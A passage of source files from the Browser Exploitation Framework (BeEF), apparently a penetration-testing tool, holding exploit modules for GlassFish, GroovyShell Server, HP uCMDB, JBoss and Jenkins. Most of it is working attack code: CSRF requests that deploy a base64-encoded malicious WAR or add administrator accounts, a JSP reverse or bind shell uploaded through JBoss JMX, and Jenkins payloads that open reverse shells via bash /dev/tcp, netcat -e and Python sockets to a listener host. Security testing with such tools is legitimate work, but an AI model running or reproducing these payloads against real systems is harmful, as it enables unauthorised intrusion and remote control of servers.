keepstate: "true",
lbenabled: "true",
libraries: "",
logReportedErrors: "true",
name: "",
precompilejsp: "false",
properties: "",
property: "",
retrieve: "",
target: "",
type: "",
uniquetablenames: "true",
verify: "false",
virtualservers: "",
__remove_empty_entries__: "true"
}
var fileFieldName = "id";
xhr.open("POST", uri, true);
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary="+boundary); // simulate a file MIME POST request.
xhr.withCredentials = "true";
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Attempt to deploy \"' + warName + '\" completed.');
}
}
var body = "";
for (var i in additionalFields) {
if (additionalFields.hasOwnProperty(i)) {
body += addField(i, additionalFields[i], boundary);
}
}
body += addFileField(fileFieldName, fileData, fileName, boundary);
body += "--" + boundary + "--";
xhr.setRequestHeader('Content-length', body.length);
xhr.sendAsBinary(body);
return true;
}
function addField(name, value, boundary) {
var c = "--" + boundary + "\r\n"
c += 'Content-Disposition: form-data; name="' + name + '"\r\n\r\n';
c += value + "\r\n";
return c;
}
function addFileField(name, value, filename, boundary) {
var c = "--" + boundary + "\r\n"
c += 'Content-Disposition: form-data; name="' + name + '"; filename="' + filename + '"\r\n';
c += "Content-Type: application/octet-stream\r\n\r\n";
c += atob(value);
c += "\r\n";
return c;
}
function start() {
fileUpload(warBase,warName);
}
start();
});
|
YAML
|
beef/modules/exploits/glassfish_war_upload_xsrf/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
glassfish_war_upload_xsrf:
enable: true
category: "Exploits"
name: "GlassFish WAR Upload XSRF"
description: "This module attempts to deploy a malicious war file on an Oracle GlassFish Server 3.1.1 (build 12). It makes advantage of a CSRF bug in the REST interface.<br />For more information refer to <a href='http://blog.malerisch.net/2012/04/oracle-glassfish-server-rest-csrf.html'>http://blog.malerisch.net/2012/04/oracle-glassfish-server-rest-csrf.html</a>."
authors: ["Bart Leppens"]
target:
working: ["FF", "S", "C"]
not_working: ["IE", "O"]
|
Ruby
|
beef/modules/exploits/glassfish_war_upload_xsrf/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Glassfish_war_upload_xsrf < BeEF::Core::Command
def self.options
[
{ 'name' => 'restHost', 'ui_label' => 'Host', 'type' => 'textarea', 'value' => 'http://glassfishserver:4848', 'width' => '400px', 'height' => '25px' },
{ 'name' => 'warName', 'ui_label' => 'Filename', 'value' => 'hello.war', 'type' => 'textarea', 'width' => '400px', 'height' => '25px' },
{ 'name' => 'warBase', 'ui_label' => 'Base64 of exploit',
'value' => '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', 'type' => 'textarea', 'width' => '400px', 'height' => '800px' }
]
end
def post_execute
content = {}
content['result'] = @datastore['result']
save content
end
end
|
JavaScript
|
beef/modules/exploits/groovyshell_server_cmd_exec/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var rhost = '<%= @rhost %>';
var rport = '<%= @rport %>';
var timeout = '<%= @timeout %>';
// validate payload
try {
var cmd = '<%= @cmd.gsub(/'/, "\\\'").gsub(/"/, '\\\"') %>';
var payload = '\r\ndiscard\r\nprintln \''+cmd+'\'.execute().text\r\ngo\r\nexit\r\n'
} catch(e) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed payload: '+e.toString());
return;
}
// validate target details
if (!rport || !rhost) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed remote host or remote port');
return;
}
if (!beef.net.is_valid_port(rport)) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid remote port');
return;
}
// send commands
var groovy_iframe_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, "/index.html", payload);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=sent commands");
// clean up
cleanup = function() {
document.body.removeChild(groovy_iframe_<%= @command_id %>);
}
setTimeout("cleanup()", timeout*1000);
});
|
YAML
|
beef/modules/exploits/groovyshell_server_cmd_exec/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
groovyshell_server_command_execution:
enable: true
category: "Exploits"
name: "GroovyShell Server Command Execution"
description: "This module uses the GroovyShell Server interface (default port 6789) to execute operating system commands.<br /><br />The target address can be on the hooked browser's subnet which is potentially not directly accessible from the Internet.<br/><br/>The results of the commands are not returned to BeEF.<br/><br/>Note: Spaces in the command are not supported."
authors: ["bcoles"]
target:
working: ["FF", "C"]
not_working: ["IE"]
|
Ruby
|
beef/modules/exploits/groovyshell_server_cmd_exec/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Groovyshell_server_command_execution < BeEF::Core::Command
def self.options
[
{ 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' },
{ 'name' => 'rport', 'ui_label' => 'Remote Port', 'value' => '6789' },
{ 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15' },
{ 'name' => 'cmd', 'ui_label' => 'Commands', 'description' => 'Enter shell commands to execute. Note: Spaces in the command are not supported.', 'type' => 'textarea',
'value' => '/bin/sh -c id>/tmp/id;uname>/tmp/uname', 'width' => '200px' }
]
end
def post_execute
save({ 'result' => @datastore['result'] }) unless @datastore['result'].nil?
save({ 'fail' => @datastore['fail'] }) unless @datastore['fail'].nil?
end
end
|
JavaScript
|
beef/modules/exploits/hp_ucmdb_add_user_csrf/command.js
|
/*
* Copyright (c) 2006-2023Wade Alcorn - [email protected]
* Browser Exploitation Framework (BeEF) - http://beefproject.com
* See the file 'doc/COPYING' for copying permission
*/
beef.execute(function() {
var protocol = '<%= @protocol %>';
var host = '<%= @host %>';
var port = '<%= @port %>';
var usertype = '<%= @usertype %>';
var customerid = '<%= @customerid %>';
var username = '<%= @username %>';
var password = '<%= @password %>';
var url = protocol + '://' + host + ':' + port + '/' + 'HtmlAdaptor?action=invokeOpByName&name=UCMDB:service=Security%20Services&methodName=' + usertype;
url += '&arg0=' + customerid + '&arg1=' + username + '&arg2=' + password;
if (usertype == 'createIntegrationUser'){
url += '&arg3=';
}
var ucmdb_iframe = beef.dom.createInvisibleIframe();
ucmdb_iframe.setAttribute('src', url);
cleanup = function() {
document.body.removeChild(ucmdb_iframe);
}
setTimeout("cleanup()", 15000);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Command executed");
});
|
YAML
|
beef/modules/exploits/hp_ucmdb_add_user_csrf/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
hp_ucmdb_add_user_csrf:
enable: true
category: "Exploits"
name: "HP uCMDB 9.0x add user CSRF"
description: "This module attempts to add additional users to the HP uCMDB (universal configuration management database).<br />For more information please refer to <a href='http://bmantra.blogspot.com/2012/10/hp-ucmdb-jmx-console-csrf.html'>http://bmantra.blogspot.com/2012/10/hp-ucmdb-jmx-console-csrf.html</a>"
authors: ["Bart Leppens"]
target:
working: ["ALL"]
|
Ruby
|
beef/modules/exploits/hp_ucmdb_add_user_csrf/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Hp_ucmdb_add_user_csrf < BeEF::Core::Command
def self.options
[
{ 'name' => 'protocol', 'type' => 'combobox', 'ui_label' => 'Protocol', 'store_type' => 'arraystore',
'store_fields' => ['protocol'], 'store_data' => [['http'], ['https']],
'valueField' => 'protocol', 'displayField' => 'protocol', 'mode' => 'local', 'value' => 'http', 'autoWidth' => true },
{ 'name' => 'host', 'ui_label' => 'Host', 'value' => '127.0.0.1' },
{ 'name' => 'port', 'ui_label' => 'Port', 'value' => '8080' },
{ 'name' => 'usertype', 'type' => 'combobox', 'ui_label' => 'Type of user', 'store_type' => 'arraystore',
'store_fields' => ['usertype'], 'store_data' => [['createUser'], ['createIntegrationUser']],
'valueField' => 'usertype', 'displayField' => 'usertype', 'mode' => 'local', 'value' => 'createUser', 'autoWidth' => true },
{ 'name' => 'customerid', 'ui_label' => 'CustomerID', 'value' => '1' },
{ 'name' => 'username', 'ui_label' => 'Desired username', 'value' => 'BeEF' },
{ 'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__' }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end
|
JavaScript
|
beef/modules/exploits/jboss_jmx_upload_exploit/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/**
* Jboss 6.0.0M1 JMX Upload Exploit
* Ported from l33tb0y Ruby code in Javascript by antisnatchor.
* HEAD request with malicious JSP -> sleep 10 secs -> GET request to deployed JSP -> reverse connection to listening MSF handler OR shell binding to high port
*
* This is a variation of the JBOSS exploits of Metasploit: instead of deploying a WAR, directly deploy a JSP reverse shell.
* This is the stealthiest approach: nothing is shown on the logs
*/
beef.execute(function() {
rhost = "<%= @rhost %>";
rport = "<%= @rport %>";
lhost = "<%= @lhost %>";
lport = "<%= @lport %>";
injectedCommand = "<%= @injectedCommand %>";
jspName = "<%= @jspName %>";
payloadType = "<%= @payload %>";
reverse = "try%20%7B%20Socket%20socket%20=%20new%20Socket(%20%22" + lhost + "%22,%20" + lport + "%20);%20Process%20process%20=%20Runtime.getRuntime().exec(%20%22" + injectedCommand + "%22%20);%20(%20new%20StreamConnector(%20process.getInputStream(),%20socket.getOutputStream()%20)%20).start();%20(%20new%20StreamConnector(%20socket.getInputStream(),%20process.getOutputStream()%20)%20).start();%20%7D%20catch(%20Exception%20e%20)%20%7B%7D%20";
bind = "try%20%7B%20ServerSocket%20server_socket%20=%20new%20ServerSocket(%20" + lport + "%20);%20Socket%20socket%20=%20server_socket.accept();%20server_socket.close();%20Process%20process%20=%20Runtime.getRuntime().exec(%20%22" + injectedCommand + "%22%20);%20(%20new%20StreamConnector(%20process.getInputStream(),%20socket.getOutputStream()%20)%20).start();%20(%20new%20StreamConnector(%20socket.getInputStream(),%20process.getOutputStream()%20)%20).start();%20%7D%20catch(%20Exception%20e%20)%20%7B%7D%20";
if(payloadType == "reverse"){
payload = "%3C%25@page%20import=%22java.lang.*%22%25%3E%20%3C%25@page%20import=%22java.util.*%22%25%3E%20%3C%25@page%20import=%22java.io.*%22%25%3E%20%3C%25@page%20import=%22java.net.*%22%25%3E%20%3C%25%20class%20StreamConnector%20extends%20Thread%20%7B%20InputStream%20is;%20OutputStream%20os;%20StreamConnector(%20InputStream%20is,%20OutputStream%20os%20)%20%7B%20this.is%20=%20is;%20this.os%20=%20os;%20%7D%20public%20void%20run()%20%7B%20BufferedReader%20in%20%20=%20null;%20BufferedWriter%20out%20=%20null;%20try%20%7B%20in%20%20=%20new%20BufferedReader(%20new%20InputStreamReader(%20this.is%20)%20);%20out%20=%20new%20BufferedWriter(%20new%20OutputStreamWriter(%20this.os%20)%20);%20char%20buffer[]%20=%20new%20char[8192];%20int%20length;%20while(%20(%20length%20=%20in.read(%20buffer,%200,%20buffer.length%20)%20)%20%3E%200%20)%20%7B%20out.write(%20buffer,%200,%20length%20);%20out.flush();%20%7D%20%7D%20catch(%20Exception%20e%20)%7B%7D%20try%20%7B%20if(%20in%20!=%20null%20)%20in.close();%20if(%20out%20!=%20null%20)%20out.close();%20%7D%20catch(%20Exception%20e%20)%7B%7D%20%7D%20%7D%20" + reverse + "%25%3E";
}else{
payload = "%3C%25@page%20import=%22java.lang.*%22%25%3E%20%3C%25@page%20import=%22java.util.*%22%25%3E%20%3C%25@page%20import=%22java.io.*%22%25%3E%20%3C%25@page%20import=%22java.net.*%22%25%3E%20%3C%25%20class%20StreamConnector%20extends%20Thread%20%7B%20InputStream%20is;%20OutputStream%20os;%20StreamConnector(%20InputStream%20is,%20OutputStream%20os%20)%20%7B%20this.is%20=%20is;%20this.os%20=%20os;%20%7D%20public%20void%20run()%20%7B%20BufferedReader%20in%20%20=%20null;%20BufferedWriter%20out%20=%20null;%20try%20%7B%20in%20%20=%20new%20BufferedReader(%20new%20InputStreamReader(%20this.is%20)%20);%20out%20=%20new%20BufferedWriter(%20new%20OutputStreamWriter(%20this.os%20)%20);%20char%20buffer[]%20=%20new%20char[8192];%20int%20length;%20while(%20(%20length%20=%20in.read(%20buffer,%200,%20buffer.length%20)%20)%20%3E%200%20)%20%7B%20out.write(%20buffer,%200,%20length%20);%20out.flush();%20%7D%20%7D%20catch(%20Exception%20e%20)%7B%7D%20try%20%7B%20if(%20in%20!=%20null%20)%20in.close();%20if(%20out%20!=%20null%20)%20out.close();%20%7D%20catch(%20Exception%20e%20)%7B%7D%20%7D%20%7D%20" + bind + "%25%3E";
}
uri = "/jmx-console/HtmlAdaptor;index.jsp?action=invokeOp&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=5&arg0=%2Fconsole-mgr.sar/web-console.war%2F&arg1=" + jspName + "&arg2=.jsp&arg3=" + payload + "&arg4=True";
/* always use dataType: script when doing cross-domain XHR, otherwise even if the HTTP resp is 200, jQuery.ajax will always launch the error() event*/
beef.net.forge_request("http", "HEAD", rhost, rport, uri, null, null, null, 10, 'script', true, null,function(response){
if(response.status_code == 200){
function triggerReverseConn(){
beef.net.forge_request("http", "GET", rhost, rport,"/web-console/" + jspName + ".jsp", null, null, null, 10, 'script', true, null,function(response){
if(response.status_code == 200){
if(payloadType == "reverse"){
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Reverse JSP shell should have been triggered. Check your MSF handler listener.");
}else{
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Bind JSP shell should have been triggered. Try to connect to "+rhost+":"+lport+".");
}
}else{
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: second GET request failed.");
}
});
}
// give the time to JBoss to deploy the JSP reverse shell
setTimeout(triggerReverseConn,10000);
}else{
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: first HEAD request failed.");
}
});
});
|
YAML
|
beef/modules/exploits/jboss_jmx_upload_exploit/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
jboss_jmx_upload_exploit:
enable: true
category: "Exploits"
name: "Jboss 6.0.0M1 JMX Deploy Exploit"
description: "Deploy a JSP reverse or bind shell (Metasploit one) using the JMX exposed deploymentFileRepository MBean of JBoss. The first request made is a HEAD one to bypass auth and deploy the malicious JSP, the second request is a GET one that triggers the reverse connection to the specified MSF listener.<br />Remember to run the MSF multi/handler listener with java/jsp_shell_reverse_tcp as payload, in case you are using the reverse payload."
authors: ["antisnatchor", "l33tb0y"]
target:
working: ["ALL"]
not_working: "O"
|
Ruby
|
beef/modules/exploits/jboss_jmx_upload_exploit/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Jboss_jmx_upload_exploit < BeEF::Core::Command
def self.options
[
{ 'name' => 'rhost', 'ui_label' => 'Remote Target Host', 'value' => '127.0.0.1' },
{ 'name' => 'rport', 'ui_label' => 'Remote Target Port', 'value' => '8080' },
{ 'name' => 'lhost', 'ui_label' => 'MSF Listener Host', 'value' => '127.0.0.1' },
{ 'name' => 'lport', 'ui_label' => 'MSF Listener Port (or bind)', 'value' => '6666' },
{ 'name' => 'injectedCommand', 'ui_label' => 'Command to execute', 'value' => 'cmd.exe' },
{ 'name' => 'jspName', 'ui_label' => 'Malicious JSP name', 'value' => rand(32**20).to_s(32) },
{ 'name' => 'payload', 'type' => 'combobox', 'ui_label' => 'Payload', 'store_type' => 'arraystore',
'store_fields' => ['payload'], 'store_data' => [['reverse'], ['bind']],
'valueField' => 'payload', 'displayField' => 'payload', 'mode' => 'local', 'autoWidth' => true }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end
|
JavaScript
|
beef/modules/exploits/jenkins_groovy_code_exec/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var rproto = '<%= @rproto %>';
var rhost = '<%= @rhost %>';
var rport = '<%= @rport %>';
var targeturi = '<%= @uri %>';
var lhost = '<%= @lhost %>';
var lport = '<%= @lport %>';
var target = rproto + '://' + rhost + ':' + rport + targeturi + '/script';
var timeout = 15;
var payload_name = '<%= @payload %>';
var peer = rhost + ':' + rport;
cleanup = function() {
try {
document.body.removeChild(jenkins_groovy_code_exec_iframe_<%= @command_id %>);
} catch(e) {
beef.debug("Could not remove iframe: " + e.message);
}
}
setTimeout("cleanup()", timeout*1000);
payload = function() {
var whitespace = '';
for (var i=0; i<Math.floor(Math.random()*10)+3; i++) whitespace += ' ';
var payload = '';
switch (payload_name) {
case "reverse_python":
var cmd = "import socket,subprocess,os;host=\""+lhost+"\";port="+lport+";s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"
cmd = cmd.replace(/,/g, whitespace+','+whitespace).replace(/;/g, whitespace+';'+whitespace)
var encoded_cmd = btoa(cmd);
payload = 'proc = [ "/usr/bin/python" , "-c" , "exec ( \''+encoded_cmd+'\'.decode ( \'base64\' ) )" ].execute()';
payload = payload.replace(/ /g, whitespace);
break;
case "reverse_netcat":
payload = 'proc = [ "/bin/nc" , "' + lhost + '" , "' + lport + '" , "-e" , "/bin/sh" ].execute()';
payload = payload.replace(/ /g, whitespace);
break;
default: // "reverse_bash"
payload = 'proc = [ "/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/' + lhost + '/' + lport + ' 0>&1" ].execute()';
payload = payload.replace(/ /g, whitespace);
break;
}
return payload
}
exploit = function() {
var groovy = payload();
beef.debug(peer + " - Sending payload (" + groovy.length + " bytes)");
var jenkins_groovy_code_exec_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "POST", "application/x-www-form-urlencoded",
[
{'type':'hidden', 'name':'script', 'value':groovy },
{'type':'hidden', 'name':'Submit', 'value':'Run' },
]);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
}
try {
exploit();
} catch(e) {
beef.debug(peer + " - Exploit failed: " + e.message);
}
});
|
YAML
|
beef/modules/exploits/jenkins_groovy_code_exec/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
jenkins_groovy_code_exec:
enable: true
category: "Exploits"
name: "Jenkins Code Exec CSRF"
description: "This module attempts to get a reverse shell from Jenkins web interface Groovy Script console. Works if the user is authenticated with console privileges or authentication is disabled."
